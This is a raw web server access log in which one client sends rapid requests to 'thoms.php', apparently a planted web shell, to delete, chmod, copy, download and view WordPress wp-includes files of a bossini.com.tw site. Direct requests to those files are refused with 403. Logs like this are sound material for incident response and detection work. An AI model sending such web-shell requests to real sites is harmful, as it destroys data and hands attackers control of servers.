45.135.193.11 - - [11/Sep/2026:23:26:57 -0400] "GET /thoms.php?del=theme-i18n.json&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?del=theme-i18n.json&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:58 -0400] "GET /bossini.com.tw/wp-includes/class-wp-block-type.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:58 -0400] "GET /thoms.php?chmod=class-wp-block-supports.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11543 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-supports.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:58 -0400] "GET /thoms.php?del=php-ai-client&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=php-ai-client&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:58 -0400] "GET /thoms.php?del=cache-compat.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59198 "http://163.245.207.76:443/thoms.php?del=cache-compat.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:58 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fmeta.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11837 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fmeta.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:58 -0400] "GET /thoms.php?chmod=theme-i18n.json&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=theme-i18n.json&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:58 -0400] "GET /bossini.com.tw/wp-includes/cache.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:59 -0400] "GET /thoms.php?chmod=class-wp-site.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11530 "http://163.245.207.76:443/thoms.php?chmod=class-wp-site.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:59 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-theme.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-theme.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:59 -0400] "GET /thoms.php?chmod=rss-functions.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=rss-functions.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:59 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fms-functions.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fms-functions.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:59 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fcertificates&p= HTTP/1.1" 200 12332 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fcertificates&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:59 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-simplepie.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11894 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-simplepie.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:59 -0400] "GET /bossini.com.tw/wp-includes/class-wp-site-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:59 -0400] "GET /bossini.com.tw/wp-includes/atomlib.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:59 -0400] "GET /bossini.com.tw/wp-includes/class-wp-block.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:59 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fphp-ai-client&p= HTTP/1.1" 200 12334 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fphp-ai-client&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:59 -0400] "GET /thoms.php?dl=class-http.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?dl=class-http.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:59 -0400] "GET /thoms.php?del=class-wp-http-encoding.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?del=class-wp-http-encoding.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:00 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-textdomain-registry.php HTTP/1.1" 200 15382 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-textdomain-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:00 -0400] "GET /thoms.php?chmod=feed.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=feed.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:00 -0400] "GET /thoms.php?del=class-wp-fatal-error-handler.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?del=class-wp-fatal-error-handler.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:00 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Frest-api&p= HTTP/1.1" 200 12322 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Frest-api&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:00 -0400] "GET /thoms.php?chmod=class-simplepie.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=class-simplepie.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:00 -0400] "GET /bossini.com.tw/wp-includes/default-constants.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:00 -0400] "GET /thoms.php?del=view-transitions.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=view-transitions.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:00 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fconnectors.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11869 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fconnectors.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:00 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-walker-category-dropdown.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11898 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-walker-category-dropdown.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:00 -0400] "GET /thoms.php?del=class-wp-walker.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=class-wp-walker.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:01 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-recovery-mode-cookie-service.php HTTP/1.1" 200 14240 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-recovery-mode-cookie-service.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:01 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=date.php HTTP/1.1" 200 12139 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=date.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:01 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=ms-network.php HTTP/1.1" 200 13426 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=ms-network.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:01 -0400] "GET /bossini.com.tw/wp-includes/class-IXR.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:01 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fhtml-api&p= HTTP/1.1" 200 12319 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fhtml-api&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:01 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-scripts.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11888 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-scripts.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:01 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=meta.php HTTP/1.1" 200 26732 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=meta.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:01 -0400] "GET /thoms.php?del=class-wp-post-type.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59154 "http://163.245.207.76:443/thoms.php?del=class-wp-post-type.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:01 -0400] "GET /thoms.php?del=class-wp-network-query.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59166 "http://163.245.207.76:443/thoms.php?del=class-wp-network-query.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:01 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=post-formats.php HTTP/1.1" 200 14136 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=post-formats.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:01 -0400] "GET /thoms.php?chmod=post-formats.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11512 "http://163.245.207.76:443/thoms.php?chmod=post-formats.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:02 -0400] "GET /bossini.com.tw/wp-includes/class-walker-nav-menu.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:02 -0400] "GET /thoms.php?chmod=php-compat&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11529 "http://163.245.207.76:443/thoms.php?chmod=php-compat&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:02 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=abilities.php HTTP/1.1" 200 14854 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=abilities.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:02 -0400] "GET /bossini.com.tw/wp-includes/block-supports/ HTTP/1.1" 200 1827 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:02 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=theme.json HTTP/1.1" 200 14892 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=theme.json" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:02 -0400] "GET /thoms.php?del=class-wp-term-query.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59155 "http://163.245.207.76:443/thoms.php?del=class-wp-term-query.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:02 -0400] "GET /thoms.php?chmod=class-wp-block-processor.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-processor.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:02 -0400] "GET /thoms.php?dl=locale.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59092 "http://163.245.207.76:443/thoms.php?dl=locale.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:02 -0400] "GET /bossini.com.tw/wp-includes/feed-rss2-comments.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:02 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wpdb.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11871 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wpdb.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:02 -0400] "GET /thoms.php?dl=class-wp-theme.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59158 "http://163.245.207.76:443/thoms.php?dl=class-wp-theme.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:02 -0400] "GET /bossini.com.tw/wp-includes/ms-site.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:02 -0400] "GET /bossini.com.tw/wp-includes/vars.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:02 -0400] "GET /thoms.php?dl=class.wp-styles.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59165 "http://163.245.207.76:443/thoms.php?dl=class.wp-styles.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:03 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Finteractivity-api&p= HTTP/1.1" 200 12334 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Finteractivity-api&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:03 -0400] "GET /bossini.com.tw/wp-includes/class-wp-customize-nav-menus.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:03 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=block-template.php HTTP/1.1" 200 18594 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=block-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:03 -0400] "GET /thoms.php?del=style-engine&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59062 "http://163.245.207.76:443/thoms.php?del=style-engine&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:03 -0400] "GET /thoms.php?del=interactivity-api&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59165 "http://163.245.207.76:443/thoms.php?del=interactivity-api&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:03 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-recovery-mode-link-service.php HTTP/1.1" 200 13204 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-recovery-mode-link-service.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:03 -0400] "GET /bossini.com.tw/wp-includes/class-wp-user-meta-session-tokens.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:03 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-theme-json.php HTTP/1.1" 200 75066 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-theme-json.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:04 -0400] "GET /thoms.php?chmod=capabilities.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11513 "http://163.245.207.76:443/thoms.php?chmod=capabilities.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:04 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-oembed.php HTTP/1.1" 200 12144 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-oembed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:04 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=block-template-utils.php HTTP/1.1" 200 29318 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=block-template-utils.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:04 -0400] "GET /bossini.com.tw/wp-includes/class-wp-matchesmapregex.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:04 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-user-request.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11879 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-user-request.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:04 -0400] "GET /thoms.php?chmod=class-wp-metadata-lazyloader.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11541 "http://163.245.207.76:443/thoms.php?chmod=class-wp-metadata-lazyloader.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:04 -0400] "GET /thoms.php?del=class-wp-list-util.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59161 "http://163.245.207.76:443/thoms.php?del=class-wp-list-util.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:04 -0400] "GET /bossini.com.tw/wp-includes/class-wp-http-ixr-client.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:04 -0400] "GET /thoms.php?chmod=block-bindings.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11536 "http://163.245.207.76:443/thoms.php?chmod=block-bindings.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:04 -0400] "GET /bossini.com.tw/wp-includes/class-wp-image-editor.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:04 -0400] "GET /bossini.com.tw/wp-includes/class-wp-theme-json.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
